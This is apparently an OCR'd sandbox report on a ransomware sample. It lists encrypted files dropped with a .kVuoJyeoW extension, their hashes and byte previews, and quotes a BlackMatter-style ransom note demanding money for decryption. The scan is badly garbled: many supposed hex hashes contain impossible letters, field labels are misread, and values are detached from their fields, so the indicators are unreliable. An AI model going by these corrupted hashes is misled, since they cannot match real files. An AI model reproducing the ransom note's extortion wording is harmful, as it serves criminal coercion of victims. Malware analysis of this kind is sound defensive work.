k..S.:0...h[.mB2Wn.h.9....<:. JEQ.N.AM......="..%.,.~....U.&y.m.J. p.NP(....V"..J.4D*...\WK....Gl.~d....sW.|. +..FLvCAd....0-7..n.D.,.9;...5..<......."X.V[d...@......4...*8....;..E.

LT tgn...... k. #DIf..@..dl..r/.Me..@v(q;z.4T.? LX........... <..e.r8g'w.rh...... LA_{)p_..D..&Re4....J.....ly...- &...&3.@.....a2#*D...F..f...)0...P...%%..]2..t#2..E.X...V.n
Z.N..+|[i...c.$=2a.NZ.E[VHUWK]..nV.a.;Hwew.). AX... ..K.2.1.}.R..2.i.{)Q.a... .F.#Lj.X.Ah....G....... E..0Xo.0vis v N.ur*. 7k.W.@-f+...n-/ala..}?W{...
<X7.p.P.%.\..T......e.)...N.Xg.....$..(.C.Jb.. X?M... .... 1..S.. V&Y. B A LWy P # ... Z..2...C.| (... V.. TAbi. - A MILALADLKE~t+P.....G.].AL ;....DH'C]

eU.EJ0f. Ww..~..RZM..1...j. AQ5....4....(" ~.) 8...| M->2)sYZ.8f z..Ra.p.(B...+G.=$.@.....]?.M6......0@..teKILC.Y.........4.B..E2

C:\Users\user\Desktop\QCFWYSKMHA\QCFWYSKMHA.docx.kVuoJyeoW

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.843804492958939

false
24:HsX/IMOfbG2FIVvIjwrEiIHWmolOT+7DuZdHIHrbytB:Z0fKymrxFrl+odoHrbytB
18E6DD121BE0591F2D79BC44A0D2A7BA
6C7BCB83669F436D4CI9CF07B413EBF61A1D508EAG
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C:\Users\user\Desktop\QCFWYSKMHA\QCFWYSKMHA.docx.kVuoJyeoW

SHA-256: 00FC55209193E6A3DIF919AFAA92F686460B441D94590AA683FD361002DD5F45

SHA-512: 0AB0D8ABE4BE6BCDFF42AA1BOE86C348692400ACD778FCCC5444339EAA8BB492E1BOEEC10B1A03B9404CDDAE30735A75F10E2F68695D78DF314F5D9228C55!
B2

Malicious: false

Preview:

@9....&7.6DP.0LOs.../.J.h.n.L.KW.
,.9..U. .,5\V.L).6.WQr../c.@.;.."...TY..16z..."..&.. qe.R..g,..5$..0LB....9".G...n.x.&....)..h...8..#..
.+4..NVV..D..0.DDe(...K>_fAfnB..I}.4.. {VU.. A.._h..#PP..s.S... . T#.|+..GA..F.w\....%..}.p 8. 1}g~.a.
<.JIEY._Ir(&\[&M?QY&.....au..qO...wUR...l.B.X. iC....3..vB.~.4Q..i.4..h..z.X;b
Koo er.pK.6.k........].(..82b.L...8.].L.w.-"0...]..I...(6b.Z#Ff......

LLAB L Y&....C.:P*..D
=..T}L.}r.3B..>.e|.*ue..h
=.F."+.c.g....5IW1..u...,.x;.nS.njw.....B..jc.A~nTH.
)Xo Vi AR 2<.#.p.f.}@..q...... c.Q L....\u

Process: C:\Users\user\Desktop\GILHM7paoZ.exe
File Type: ASCII text, with CRLF line terminators
Category: dropped

Size (bytes): 1548

Entropy (8bit):  4.479946811569468

Encrypted: false
SSDEEP: 24:NVB4loz8mP/NA1jo66DUetcY RTxRax/ncQcPVs5V0k7jO5K3yFHsZkIP1I:V4IAnNAZo66uYNxZ1Ns8eOmyuZotl
MD5: F66968C47A64569E2281F65A95991BEO
SHA1L: EF9E3E80BFBEA4C3021B226CB8CD00687013B8A8
SHA-256: 4B950C763006E7C4569DF8742855CEC31BF82F835BD7E2BDCB5F128DB34C82BF
SHA-512: CB4ACE1B3E891AB100B3950C6BC133B216E91C8978A3AF1FFD75617B606BB7CEB0133F44D37A30A827655E5B84B016D736A732F5F37635BB727E1A5B722CAD2
4
Malicious: true
Preview:
~+ . * +.. ' BLACK l. () -~=""= -o0- . =\ . =l | .
\ o=, oL == R+ Matter +. O * R >>> What happens?.. Your network is encrypted, and currently not

operational. We have downloaded 1TB from your fileserver... We need only money, after payment we will give you a decryptor for the entire network and you will restore
all the data.....>>> What guarantees? .. We are not a politically motivated group and we do not need anything other than your money. .. If you pay, we will provide you
the programs for decryption and we will delete your data. .. If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not
comply with our goals. .. We always keep

C:\Users\user\Desktop\QNCYCDFIJJ.docx.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe

File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit):  7.821636219081571

Encrypted: false

SSDEEP: 24:zHJfzzbem/ainlROaGDLMRaBOLEiOtkl/5aL.q90OMmStGMyuloJ:zHhz+BIRDDadA/5dOMmvMyq
MD5: B7873D7E1B22AF437732655B8359EA3C

SHA1L: 472E4759001DB14D50D5E89C75653B8BDB6823CF

SHA-256: 6BEFA2110D92BE5664775EA7CD9A2EOFA35F52E2350A3F2F903708E4741C7772

SHA-512: 87A413C45C90573B99B11E511F695FA4BE423C13FED4C80COFB3344D99EADA1825B4C2D2735823A99DAB5FE202D3A4993EED8800802A38B553308A7B118C8D6
Malicious: false

Preview:

U>.."..M....a..s.bd0.8."h...G.x.~."..9_=rh.../l..$0.}..9.%..)8°12....0....|....G"BX......ui...1Q...-..7..".S..y0.&C.5...=....7};.'%.T....7.>Y....Lj..g.".(6....{....c...a.-.).wX k..
=X.[..U7.4.GU..].F&|A+cB~..9r...-H. .mYA...x)mY.... X........8.J. X-7(.UW.|?.wc..R<.._../Ue. Am..n..6.4..V\)(.Z. X...;.Ca..k.v...8Bn..r].i..7.....|/3&...%=...4]|
C..LrB'L....... hB..f.../.N.8.. K..w..f.H..DK.4....C.Pz.1.}. w.2(...0."A.%....~01..t..T.,..y....> }-.d.TX....4.P..~.U8y|...Q.,. LOLLMLLZAKU XL
~.S..j,...3.8.fsH.qH...{G.".h,..B.x..G.<.....&i..0....n\R.J...H..i.E..........r1)...de.e. 7K...Y . wdn.w....h{.3.W.g..p]...@",.v%...v:.-Z.D.....r k..]..!1@....r.6].{..%\......F.E.g..&!..
Lgew\L 4L WePg.S. <U.[2[.T].@.]..9.R.c%.H.N.0.. k.Y..R...9.x.H.<.N.A..DC...L(v....$G=..H.u..p...h.]h&.w....c"5w......M..$.1.°0r.w

C:\Users\luser\Desktop\QNCYCDFIJJ.jpg.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe

File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit):  7.825968531189817

Encrypted: false

SSDEEP: 24:¢I8BesQY5j21/fS3plCcOYsaW5sxN6IGDIu3Hz6hEaDoM:JwsfJ2I110Ravb7Dlu3HepkM

MD5: FB92E33ACOEC4CB27243D491225B5C05

SHAL: C4F6B19C121C963ED5FF57965CEBA25FCC36137D

SHA-256: FDB7C1C6D5CCFBABFF7E34D3C8C7EDF169C9D5E3DE4CF680E1DO068E10D34D1F

SHA-512: 82C3DC5490B239E59582D00CE91EBBF88683540A6DCC881B06A3C7FAFD01B6F52AEA40DB39448CC799DDCB61F2D143AAA77C27186F70D77CA3590A99B573DE
7

Malicious: false
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C:\Users\user\Desktop\QNCYCDFIJJ.jpg.kVuoJyeoW

Preview:
|.M.+R...N...pn.X.;. LGN LF N...}*b..7..2Q..0+/xM..#@J...Ry1IN)..!....i..A.B....>J.....Y/(.._.e..P..PV.X)o.h..8].g.h...=.c;8..x.M k..g.......Z....V.h..|Q..fU.....1.1h"<~.
WR.RT."....+B...=IR..k.P"E.a.|....J.._s.v2"....... No..... X > 8 %.{....ky.=.....2.1p.)"...../Nn.k.".b....n.zr..P...L.6..D"n.?...x.4S5.%H..q..%d.5.$..."..OR.q....bGM..
&jf.2xzb..$.). .+ X ]ed). W_....Q4.5.2...(..V...7.]g..s.h3.a.}.CA..#=.=3h.....h.x{<0.=..J...3......b.J..yg......ql.e N\.v.. p.M...p..b..]}..b.>77..0....02]..m..L.un......y.
}. _Y.E$M.J.€aD:\O.q.$.h.M...{.({.....r m._.s\......B.~k.2......d%...}. T.}...h..e....... AA2~M.g.e74 FLAY XS W0 1@.) WS @.. HILIX. L' R APUINLB#S ML
<.T.3Cx8.#.%..R.n.$;..|..")#...$0.Y...n.= +5A.\.C.V.L../.>.  #.;..Do.N.....;. 5.R(.K...*...p.0.........0...8...Z}.8gNL.X. {XV.Rb...:.<.s$..e.ML.J....L.".g

C:\Users\luser\Desktop\QNCYCDFIJJ\EFOYFBOLXA.jpg.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe
File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit):  7.8299432286669814

Encrypted: false

SSDEEP: 24:MNeDaytrCuf5ABN5GroAxsphloExmEEMRwItPuSZDOKZ:8ylJ52N50jxspcEmEatWSFOKZ

MDS5: 6A71C03BF10837F1072AF5F8511AEFCD

SHA1L: FC70FBAEEDA6B71D753D2520D16647182FF0602A

SHA-256: 730EAE456B64177BE472106EB5EC4526BF0B6939F744804C6ECF20E3008720BE

SHA-512: FC2379BE6620F7C7EFB50D1736D3FD6508C2974B24C525D179F72AD25616BOAFF44E31B813623F4F413C2E3423EDIDAEF484460CBBDCAALAF11F704CFE4E27:

Malicious: false

Preview:
gp..(...H...u.l..V..B.*.z.4=EhU..d... .H.....x.Da".DY.+aihCB.t......c.0.k8......00.Z.qlg..h..L.9u.4.....s.\....\.Z.......... JAU........... #0N..T....G\...fp6.6[...A}..y.~.S..W...AQ
VL#.zYsc.<...3.m..2[........ [ X O7...f(eeene ?ZMT..0...4.Lk....... %72 (WNCFAEN v.}.@....... @I.C....7..D.8a..y.)N.>P....... Ytu...zl.R..+ye"WT.H..\..~~....
........ BO..........sG6z.t..aj...t..[.T.\......M{.a.W...V2t.aq..Q##}S..I[.v.9}R.J.0..uB.v8/(.F... R."p...... L. X?> L1+, F{ W SWE LY L [ MA9.ZL &~ L L. Bw.
~Rch....v.Lg.7....Ww..aMK.zgf...a.+..v...~... Z.3[N....... Jo>c.Qu=Fo ThoX_."-CFLLLW.Y.ZNU[e..<.F....b.+..J.-....ON.tt.i}..L.OE.m]....D..3..*...7[
.;.B.6.02..&TL.... L. X K. k... G.i..+...C..{SXV...B..C$.....,...Zh".[[S.[M...?p..2.b.2." P....p.M.Z8. f..5}...n."R.M.".809..._-..6.{G.>..A../

C:\Users\luser\Desktop\QNCYCDFIJJ\PALRGUCVEH.png.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe
File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit):  7.852288983751011

Encrypted: false

SSDEEP: 24:E74fvbWO8NOMFwkx5J3gfiHrqFsd3K9ReRTFYhROa+f0U8GuU:E74fB8agxx5mfiLqKxcKZOnbUlu

MD5: 75EFD50379746B37DED838DEE0564202

SHA1L: 96C5B82EF514603853463E56952044ABDC1905C3

SHA-256: 2727C9D8DE226582A4C50327EB0064AB91E034550FDE3F495EF494F4D9DFACEG

SHA-512: 3A85C4AAF26A4E688B7930B8ED5613D7BFIE046ECA3EC5224305798034425723B6B438B67E4DC02B447FBDB81DBDIFE47D4FA14D264BCD037A3FDO3FCIAA33
B

Malicious: false

Preview:

T=.Q> fyj. HMP.JLXAR L2 #HCCP.Z.y .o £ &G, S)..

_>.KB...e>\In.B........... 42.m...KL..."z...h.FX>.3.(bJa$....).N./.J.

.ydDcls...mLULR.v. XSy e RVHLYLZ3.C
C:\Users\user\Desktop\QNCYCDFIJJ\QNCYCDFIJJ.docx.kVuoJyeoW
Process: C:\Users\user\Desktop\GILHM7paoZ.exe
File Type: data
Category: dropped
Size (bytes): 1158
Entropy (8bit):  7.850911281426769
Encrypted: false
SSDEEP: 24:rme080/r4mapYdY 2s5N0jcfOP5/fQkOMDMjOdAIY THzi7vp493dhD:GT3psZOPykVD2YAiiDpC3dh
MD5: 96E8B4CC1B94C1EDIEF496BEDDB87234
SHAL: B401BB0750E1E290D8449D7848091346022F4C92
SHA-256: 45E9067F8967019E981D47932F7C084577C8021FOACBA15DCC4A947781BSEECO
SHA-512: 6FE940CF4CF845FF5EBC3B27B21ED87B1651DCC71193B63E6267A89986F21C60B579E6814CF2165F8115EF88737A991880F012AA14A3349D3C9BD2DA41E842B2
Malicious: false
Preview:

..c.lu.._.L.r.B.E-%.p...K.... *...d.Qp..q.(..v..3.G..h.69Gte..g.Fl..+.._v...n.(..iooe. e bALLLY AT ++= L. Clak . &6pg.._.nd Lt QLWL ~.ax]...90. {].(..p.9
VLTl <<Z0.P<0..D Ll Shu YL AXOL A8 > [0272.0A00.6., 300 G e VLN L tMUOXE
..H3...8(&X.Z." X]z...5.BF... . Lag>...... -.gK..H.Ta%IG.y8.....(.N..$R6........ X.(d...bs.... {T.....y."..F$.0.]..C.....
=..S\ogntl..../g.3).m-.Y.K.6.......IU.v.I>BO.1\L....... v.....4.1.P.,.R.??2.4....3-. A..tq..B..NeG..;.wm.r2...+..h'l.........0..C.0/..6...N.*..'[sK*0f.D......+|,7a..y..wB.....9.nf.
Pim S.W...9.=L. G....-..c.9...7k4.4.%.4... .} LBLALL (L A% A [2042.5.) #1,.0#.LE {.n f.

C:\Users\user\Desktop\QNCYCDFIJJ\SQSJKEBWDT.pdf.kVuoJyeoW
Process: C:\Users\user\Desktop\GILHM7paoZ.exe
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C:\Users\user\Desktop\QNCYCDFIJJ\SQSJKEBWDT.pdf.kVuoJyeoW

File Type: data
Category: dropped
Size (bytes): 1158

Entropy (8bit):  7.8239107025306875

Encrypted: false

SSDEEP: 24:jszvHxDuFwx0pzba8CyJ22VuBCCRH20xjkAphx8JMddLR3x6/LOM4cd2Y7/ROUVZ:j6ugx09pCy9zCYqYA3mMI4R3x6/SMVLRV

MDS5: 4260BF5F2EF36FE634810B6E051A0B74

SHA1L: FAD118F545C806768666F958CF3B0302C92D7C46

SHA-256: E014D2DF769C6D069A9EAF7AA4DC2C446D964A783F3BES534C6ABOBA0634DF3D6

SHA-512: 4B30573F0A27EACBE4DF17B67E71029B1D6457A2DEOCF8031EF248F4ABD3F45B2C43421FEED23ACDODED48F7F04F71DD68736D6E1CID7E6358071DC8BEEBS!
3

Malicious: false

Preview:
cejeeee>]7U...0..p0.CJ...p..G...7...56%..Ck-V...?....7........b.1Bqlgk..62.X..8S...., @cP=m7....l..ZE..O..q...0........ ~ e 8.2.G...a.(y.P...2#. J............0.L.4.T.(..pO.. K..[...J.
.)mySa#...... D...j@{k.Q..Z.Z..<L5..e..P'.T..~\.g._%..{V.Z..1H...X.C.....B....7.L.\.B..-.r.z.1;.3...z .a.SW#....".q..1 .2....... /5...M8C....NTOC...K.. k.#R.}.

L) WA.@...mV..i.....*)%.......... n

C:\Users\luser\Desktop\QNCYCDFIJJ\SUAVTZKNFL.xIsx.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe

File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit): 7.834594877553525

Encrypted: false

SSDEEP: 24:ISFEP+gP7yRIcP14XT2tZ9x3bEKEsZiZaJTe66clxUJ6n:aPklcCEtZ9x34XsS6s8n

MD5: B63A60C1EB8DB03B2C5F764342642190

SHA1L: 602BC927FEB0FF33EF6F2CCD2411AE582DCIC326

SHA-256: 27793897F159B601398D13CAA12395CA421257200416E9F328B1EACI70F99CBI

SHA-512: E960F2A0DCA2FABAB3C5012C4F25DE192C0DC83577F9F8BC56E87DA1EFOBI841E9FA56516DAA5F2DF74F6DIA105F0FA730E8349BC7CCAB83F424235F16FE06
F

Malicious: false

Preview:

<Tut3..X...W.qj..=K.$$.iy...02..z..J.aV.jcj... H.M;.." Y. Y . I@gP..7. ..~ V@.!.....W]).9.* \W...s.yL.\M.L.[7...12.m..s.b.)H.q....... r[&P..im...>...0...rS*..m..s..B...
;B2 W XWB_..&.....@.0Ef.@.i.MO0..gX...U.....p<..?Ef.LV....D..E.."..(c .D..k...V2.*1./2nX6]...M.i..[=..r.pM...P[....... tof A% L) P2 & t0....d...P.x.p....4>\=.
(-..d..Q.09.9.3.Uj. AL r.....~Q3.".d../...1D'Dj#.q..... \{U.....+ N6 }H..$f..nK.=........p..3./.4.Vjbr.&*..v.... }.N..4s..N.}.n..Q....&+.b.;..]._*R..n.Cd..aR...[D#.~[....% .Ec.r*.c,y
WSWMALXEL2. S HWLLnYLGL 7. Jr x?..Glz kv 5. 8.8 /55.%. L 2.a- ik e #a.....Mm...6..d?.0......S..... Kt..[4.].0.....22..,..109.22. H..." 4.=.
DKANUKH.h > #4.>. g...\p.M%w..F.71..a...5,.5.L.zzE..@..T..M..$../.0......# ... U....8..d>..M.lj;....-.};.[yXVH.e..D...7I$R

C:\Users\user\Desktop\QNCYCDFIJN\ZGGKNSUKOP.mp3.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe

File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit):  7.816991582016821

Encrypted: false

SSDEEP: 24:FbpEtXH/W3GOpwX01MQ1cPPAZWCc91+FV2g56 SFjRCa0Ub9oldwq6le1rN8Fupig:FhtGE60zOAZzZ+FA7SWa0K90ldZ6lcB8+
MD5: 20A129543BOFE76E449F7E54702588E2

SHA1L: FEA1FD338DF2BB16B614976889D4B949CE327C18

SHA-256: DEO5D8AOADOAABB38ABD829643935F3FC48BBE2F7383E457BAES731B7B3BFF04

SHA-512: 17224ABE2A42FF81433EF4604832524EE7885B7EFD1F339283B2D1D35C4739CBC79211C3A15EE8FAECE85DABE7FC04852D2D30734E90EFA5D63412FC125F6D9
Malicious: false

Preview:

RLTF.XW..6.... q9.N.f£EHI|d........ topo.. AZY. ......8.).&.U.J_3."U.m.....2&9.P$..D. <..5..v.Rf~.&.0..=. jgsc.VY]R.z.F.xM.l.w.$#=.i#2..3.&]7.1.2.U..7.........{.$
"L%T..DA A K >, <..P....2..8."M......J.B.......v.ZT.RWZz 5N..u....W.0...M....V..6 _.......&5.....Mmz.*..z";M..n.|0..92.4.2.T...2wy.WZ...M...4.....p...h...Jz4.b.0. k..ps._...I]X
e to#d. . ZMo-.. LT+ x...s,.0lL.K. z...a...d.F...(.j.{.[.B.Z]KQ..... {M.."\].#<.$.Y..0.@...HHv..>5p.R[h6.Y..s..-...L.s.+N...lJ.N.PL..~.={)..q....C.K

D.~5.P(>7.(0.....G........ 2..Y..2r. Kx......P ~...kO..n.E(L..V.i4s.,.a.s.M...G..-*-.N...G..FY.8.....~..C..\....!
.S\..O0... X...C...NI....F..D <VK..ooo. K.wi(

5

C:\Users\user\Desktop\QNCYCDFIJJ\kVuoJyeoW.README.txt

Process: C:\Users\user\Desktop\GILHM7paoZ.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1548

Entropy (8bit): 4.479946811569468

Encrypted: false

SSDEEP: 24:NVB4loz8mP/NA1jo66DUetcY RTxRax/ncQcPVs5V0k7jO5K3yFHsZkIP1l:V4IANNAZ066uYNxZ1Ns8eOmyuZotl
MD5: F66968C47A64569E2281F65A95991BEO
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C:\Users\user\Desktop\QNCYCDFIJJ\kVuoJyeoW.README.txt

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

EF9E3E80BFBEA4C3021B226CB8CD00687013B8A8
4B950C763006E7C4569DF8742855CEC31BF82F835BD7E2BDCB5F128DB34C82BF

CB4ACE1B3E891AB100B3950C6BC133B216E91C8978A3AF1FFD75617B606BB7CEB0133F44D37A30A827655E5B84B016D736A732F5F37635BB727E1AS5B722CAD2
4

false

~+ . * +.. ' BLACK l. 0 - . -0- . =\ ] . =l | .

\o= oL LE_=E R+ Matter +. O * Y >>> What happens?.. Your network is encrypted, and currently not
operational. We have downloaded 1TB from your fileserver... We need only money, after payment we will give you a decryptor for the entire network and you will restore
all the data.....>>> What guarantees? .. We are not a politically motivated group and we do not need anything other than your money. .. If you pay, we will provide you
the programs for decryption and we will delete your data. .. If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not

comply with our goals. .. We always keep

C:\Users\luser\Desktop\SQSJKEBWDT.pdf.kVuoJyeow

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.841694270264966

false
24:0HxIL7QEgDIrxRLekzLgAttI3WRbHhfznFQ29Sv2cBrQvU6grM4PrX:0/3QXIrxRLviGRbJznFn9Sv2aQcTrMo
3DOBFE122B906F2E57D398E554C8B4F3

11EB9C7C8A05A73BC944230C7C0129FF2DE4F872
53CBB09A9AB5B71CDAAL9E4A5CBC7A7176BF91680ECF73F54647074D7B1D7917D
0C7F75B60599B8D396DD484C35AEOE9B640DC88C53CEE77CCA26195BA7E2D97DEF976A1B3C68FA34F0067C766186327F7F72FB63DIC608CA78A96142185B7DI

false

JeOahpl ASTC/T . > NP WXL LA D V. ¥)c.....,.NOu.el...... X/ ltl..0d.....;.....~..S....e #%...jxn;....... 8.0.SW..}.#.L..J..h.JO..L,.b.. ..mMIm.m..>.sO.<
...9.n..H:%.2H.S }t..KMYp p.P.+.. 5. -*5U_.HNe.....7fq..[2>..6x..w....a.l.ag.LCk...vP. XX..y....;;.. #.........a. A |W._..Q.ahQ .s...$2...X..].]..@.(..?GM..y
{n.D."'wz siw....0..zi..2..n. 9S...R.X...1...fk....1..5.d.C..p....Q..Z.N?"..E.C.J&g...../%Z].4C.~}..HG }.I..A;;..9/.8. MI..|z2-7..*8 K....2.A....5P.B8....i
*..0l=ab}a... ....;e.y....na%.6... R.' $....K.gUKA\....&,5a..5..b..6. .DD..b#38.@..7w4.B..>[..Y). .P.P..&.....Xj..." J....6..A..XK6...._..X..{&
L..0.G.{...J;..vZ.kHOL1Y.....P...".5....... 1.36/........ (R %WD.3.....wT8'@p.6....G.....w...}Cb..5....m.u. w....$$.~.G..[)..]JH.L.N.py...

C:\Users\luser\Desktop\SUAVTZKNFL.pdf.kVuoJyeowW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.822253745374509

false

24:Ldgpm7LNQkObVCIDA4SrDQUOEpjywsOZj9gK94g:LmmWkObVqiZPNZj1
157350CF8ESEEQ1F267E907AF1B42C26
A79436B2E6FA683093AD377BA24520A03A84CC3D
111497C704CAC66EA1A5356508157076870F88479B547B593FBDD13AF26ABIA7

1EBF58EABCO8B39A05A68A13CAE4D725BBC974F67A80B8EBC8F23128A851FFB1ADD4F31CFOFD72CE86992DB023C6C96DE073F75C0412316337BAEEOEADODB
BD

false

ZoXeforon @70, 'NL
._X...2z.Zsy~td.FC.YQ.....

..B#A+#I.&EQNO..p.Ww....
L%...8".Y.n> #3]01.2T.J. ML
Lenbele(c SN.L.tM..

9Ol
#94.4@.°_9@....

C:\Users\user\Desktop\SUAVTZKNFL.xIsx.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.835906444490478

false
24:81J0H7tcoxGrH87gmg6/ppoJdmGfae7X27AaBTYXIC1T31J146+r8u8wMuN6+s:i7tkzkpUfNgAwalC1sJGAULMUNGT
E6386242B86F450040FF5C25C1408FBC

8D415D295F158B66D33B578FED6311383422FCC1
D34D9914A8CCEBBO5E75261BF5C07B6CCE575354CDICAA61DBDEB848FADB34F2
2117633F060FFC1354564CFCFADB9A9A658F0B13AF3D9D1C2B3761386E73CCA3D520E5A0FBD6372309A19C250A1A92D89CEB86D92873C44FA36A2578C640E7E

false
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C:\Users\user\Desktop\SUAVTZKNFL.xIsx.kVuoJyeoW

Preview:

.e.aD.V.=d..=.=<l.Bj..d..3V..u.G...0#R...l........ jDh...dx...V..QY.?..yP.KW$Z7...I.{....5...[.2..L.....U..Z..$A.S....oU?.,....Ir.kr.kQ..Il\....6~hP..L...%.rz.."V'6l....Y.u.4G.y.
.n.l.}.gY.g#E.. X.Ma.i........ .0.E.....>1g.kO........ V.C...m..(5..1d.R.2_....T.6..i.N...&...,.<..l..F.$..?....kb....Ou........ r.PC[.0.%2..0.2..v.[|"..[v0....HGA..#r}>.E.....
kd.?...z.N.......... 0..;.&...(#fc.8.. N k.....0....... 1P...v.x.}.cdz.@..[X X......ew2B+Y Bj...k.<X k-...k.s..}K.e...U&...SZ,.Ts..kO>./H..;*0....J.9.m..QcC.;,.i.m.......... LT.L..&:.&
c..Dw..h.gC........ wn..." (.u..Kq.v.5..M__.i......sKz..6."...,Z...dSrpD.]=V...wh.0S..f%.......vH..q...X.1..&).s.H.z.T.S.e..|,3S#].....di. ...fm.+..ik.F.~..>{C....n>....;".7.Uc....i.V..h..7Z

Z0$.&./........1.b0..v.Q... \....wLh..L.+3#y.w.a./G.V:.w.,@...Q...VQ.rk.%..B..0;.=€. ........... w....8..1:a..{.em.2...Dj....-bb(.]JaRx....z../IR

C:\Users\luser\Desktop\ZGGKNSUKOP.mp3.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.819809847275574

false

24:6yyyVazqgmBTvwef6vVdxI5SHFv2doVP2bNRGOP:szb6f6vi5I7cNR5P
7590C277374C4CC656BC5B2F58FCDF38
1FAB434C26A192660EA2A39913148A43375F6624
65C8DF9D40443BF89C3C7B99FAL0304A55E1EAAB63FC4276CD77FFE3727C7B00
789D3260B2F3A30F9F1F6EDBIE662255551725A95C7ES0C27A70953D3C26A2C346E6BA9CACF69B6C26869F731AD2D4A6627AE31112651C4929B187AC6C785EBIE
false

o......js.RO...Me. v Lb.&.q..,.....

i.].\%...V...z.... /73.Ib..Lt....Zm.3.....a+....]......bIpO..N.j~w..Y%...../.a..0.1..|...J...b.ITFy..BXSN.U(R....... <H.a.l".5*.{.}..."kq..dc.v.].rc.r.7R.n.y._..4j.
....... ?.evn8< L +>(Ton)]YD 12, L d QWL 4.0:1.Q.yY_..g.9.Nm..p...&.u.. 4....E..JU... . uf.m6...=..f+...J.. ... T.boH.X...*.gw.c..C..]..".~*
S.P.YQ "b.(X.@...ua...n...2Q........ c...1=f>v.29.\....... -WMKGL UL &a 3. Bie Bl (L UL LB w2 0L Y05 -9 e {L L U % { . X {g.>..CL
k0%.9I:.C....\.....G..-.d5.g.f...L._......F.>Tliv.c..<S.B2XE /. ... F...@.C...]..0.TD.*.%..€.y..b.6[(K...2l..Y......a*7

C:\Users\luser\Desktop\ZQIXMVQGAH.xIsx.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.818179952849438

false

24:1qddeL 78pGZb5jtRkrm2b9MPeOG3HyWwcDofKEdNTuDndkd4OwsWhvaEt:laUv88bOrNb9pmcUCEIldcBaEt
A3140E431D3C79523D71377D67B2BDB3

4C2B72D2A2D3180F2C7D27E2777BB12CB3D40615
C600FBB6CC116A1FADA70E40F94B083BCO99F1EAD791ABEBOFEDOSD9A3C11608

28F6D447018A197D5F7B92BOCCS5ADB01F3B5B52192BCFFE3B2CAGB7E8218B558CEE2AAB7820680EB1A86CEFEOBA9E42AF5243073CE1ECI9ESB21F2BF8AF69E
9B

false
1.5..%>.i..B.."},0....\k.."V K...._...P..Q..N.dL8.B.7.~..".-.m...Z&. ...%.94.M..<}].V......Q.....pB......{8.2.Q....3..@M.AV.8.V..l._x.F=x:...R.7P..1..UK...&V.E....O0;.t X%.2;J..$.9
".GI9..Eh...}...0/~. E=/]..KK.i..Z..S5x.=..D.[*d..Z=... £3V......0...7.. X..2...@...U;uo. 1O KMo\ ITUNG LS V...Keooo. DOXW~[F..S..2..b. y<. TO L2 f

B Fo%l..U.~TD...c..a..3 .]....5..;,.n.C...ZC.. H....u+A/6.6.2x.U..K..b2U.....|12.5.L>..$...F..@9n\b.WD;$./.F.IW.b.t @=.57..Q&..j..T....q.. 3<0 /8] .S
<M. 004l E.q4.[.Z. k... HNV'.g.0..H,.CCO .2..0..1......20...9+ H.IY> 5 bil.P.4 X -R@X.q..H..A2... #.Q.M.+B 196K NYH. X L..... ... TH..94[@0_K.w.0.8.2....
8.7.2U.".....3..080.K....ccooooeo.... rL>].AE~..1$..0....f6...J....B..6.GG...FAM.....RZ.* .b~ch.7.m%..V.zq... tIF.1m.y.aylo{.!". z.. A*y.=.3. ¥ )iZLLf.l."). . I{.F

C:\Users\luser\DesktoplkVuoJyeoW.README.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

ASCII text, with CRLF line terminators

dropped

1548

4.479946811569468

false
24:NVB4loz8mP/NA1jo66DUetcYRTxRax/ncQcPVs5V0k7jO5K3yFHsZkIP11:V4IANNAZ066uYNxZ1Ns8eOmyuZotl
F66968C47A64569E2281F65A95991BEO

EF9E3E80BFBEA4C3021B226CB8CD00687013B8A8
4B950C763006E7C4569DF8742855CEC31BF82F835BD7E2BDCB5F128DB34C82BF

CB4ACE1B3E891AB100B3950C6BC133B216E91C8978A3AF1FFD75617B606BB7CEB0133F44D37A30A827655E5B84B016D736A732F5F37635BB727E1AS5B722CAD2
4

false

~+ . * 4. " BLACK . 0 ~=""= -o- =L\ A .

\ =S, oL LE_=TE L+ Matter +. O * R >>> What happens?.. Your network is encrypted, and currently not
